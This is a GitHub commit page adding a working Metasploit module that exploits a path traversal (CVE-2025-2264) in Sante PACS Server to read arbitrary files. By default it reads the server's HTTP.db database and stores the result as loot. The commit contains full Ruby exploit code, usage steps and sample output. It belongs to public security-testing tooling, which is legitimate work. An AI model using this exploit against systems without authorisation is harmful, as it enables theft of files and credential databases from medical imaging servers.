Skip to content

Commit 2635b8f

Browse files
authored
Land #20124, adds auxiliary module for path traversal in Sante PACS Server
Sante PACS Server Path Traversal (CVE-2025-2264) Module
2 parents 0cbe2cb + 0c2ba46 commit 2635b8f

File tree

2 files changed

+154
-0
lines changed

2 files changed

+154
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system.
4+
5+
## Testing
6+
7+
The software can be obtained from
8+
[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html).
9+
10+
By default, the server listens on TCP port 3000 on all network interfaces.
11+
12+
**Successfully tested on**
13+
14+
- Sante PACS Server v4.1.0 on Windows 22H2
15+
16+
## Verification Steps
17+
18+
1. Install and run the application
19+
2. Start `msfconsole` and run the following commands:
20+
21+
```
22+
msf6 > use auxiliary/gather/pacsserver_traversal
23+
msf6 auxiliary(gather/pacsserver_traversal) > set RHOSTS <IP>
24+
msf6 auxiliary(gather/pacsserver_traversal) > run
25+
```
26+
27+
This should return the database for the web server. Any files retrieved will
28+
be stored as loot.
29+
30+
## Options
31+
32+
### FILE
33+
The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary
34+
file can be specified.
35+
36+
Example: /.HTTP/HTTP.db
37+
38+
### DEPTH
39+
The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH.
40+
41+
## Scenarios
42+
43+
Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following:
44+
45+
```
46+
msf6 auxiliary(gather/pacsserver_traversal) > run
47+
[*] Running module against 192.168.137.217
48+
49+
[*] Running automatic check ("set AutoCheck false" to disable)
50+
[!] The service is running, but could not be validated.
51+
[+] File retrieved: /assets/../../.HTTP/HTTP.db
52+
[*] File saved as loot.
53+
[*] Auxiliary module execution completed
54+
55+
```
56+
57+
The file will be stored as loot:
58+
59+
```
60+
msf6 auxiliary(gather/upsmon_traversal) > loot
61+
62+
Loot
63+
====
64+
65+
host service type name content info path
66+
---- ------- ---- ---- ------- ---- ----
67+
192.168.137.217 pacsserver.file /.HTTP/HTTP.db text/plain File retrieved through PACS Server path traversal. /home/foo/.msf4/loot/20250502165539_default_192.168.137.217_pacsserver.file_594385.txt
68+
```
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
CheckCode = Exploit::CheckCode
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Sante PACS Server Path Traversal (CVE-2025-2264)',
17+
'Description' => %q{
18+
This module exploits a path traversal vulnerability (CVE-2025-2264) in Sante PACS Server <= v4.1.0 to retrieve arbitrary files from the system.
19+
},
20+
'Author' => [
21+
'Michael Heinzl', # MSF Module
22+
'Tenable' # Discovery and PoC
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2025-2264'],
27+
['URL', 'https://www.tenable.com/security/research/tra-2025-08']
28+
],
29+
'DisclosureDate' => '2025-03-13',
30+
'DefaultOptions' => {
31+
'RPORT' => 3000,
32+
'SSL' => 'False'
33+
},
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
'Reliability' => [],
37+
'SideEffects' => [IOC_IN_LOGS]
38+
}
39+
)
40+
)
41+
42+
register_options(
43+
[
44+
OptString.new('TARGETURI', [true, 'The base path for PACS Server', '/']),
45+
OptString.new('FILE', [false, 'The file path to read from the target system.', '/.HTTP/HTTP.db']),
46+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 3 ])
47+
]
48+
)
49+
end
50+
51+
def check
52+
begin
53+
res = send_request_cgi({
54+
'method' => 'GET',
55+
'uri' => normalize_uri(target_uri.path, 'index.html')
56+
})
57+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
58+
return CheckCode::Unknown('Connection failed')
59+
end
60+
61+
if res&.code == 200
62+
data = res.to_s
63+
if data.include?('Sante PACS Server PG')
64+
return CheckCode::Detected('Sante PACS Server PG seems to be running on the server.')
65+
end
66+
67+
end
68+
return CheckCode::Safe
69+
end
70+
71+
def run
72+
traversal = '../' * datastore['DEPTH'] + datastore['FILE']
73+
traversal = traversal.gsub(%r{/+}, '/')
74+
75+
res = send_request_cgi({
76+
'method' => 'GET',
77+
'uri' => normalize_uri(target_uri.path, 'assets', traversal)
78+
})
79+
80+
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res&.code != 200
81+
print_good("File retrieved: #{target_uri.path}assets/#{traversal}")
82+
83+
path = store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')
84+
print_status("File saved as loot: #{path}")
85+
end
86+
end

0 commit comments

Comments
 (0)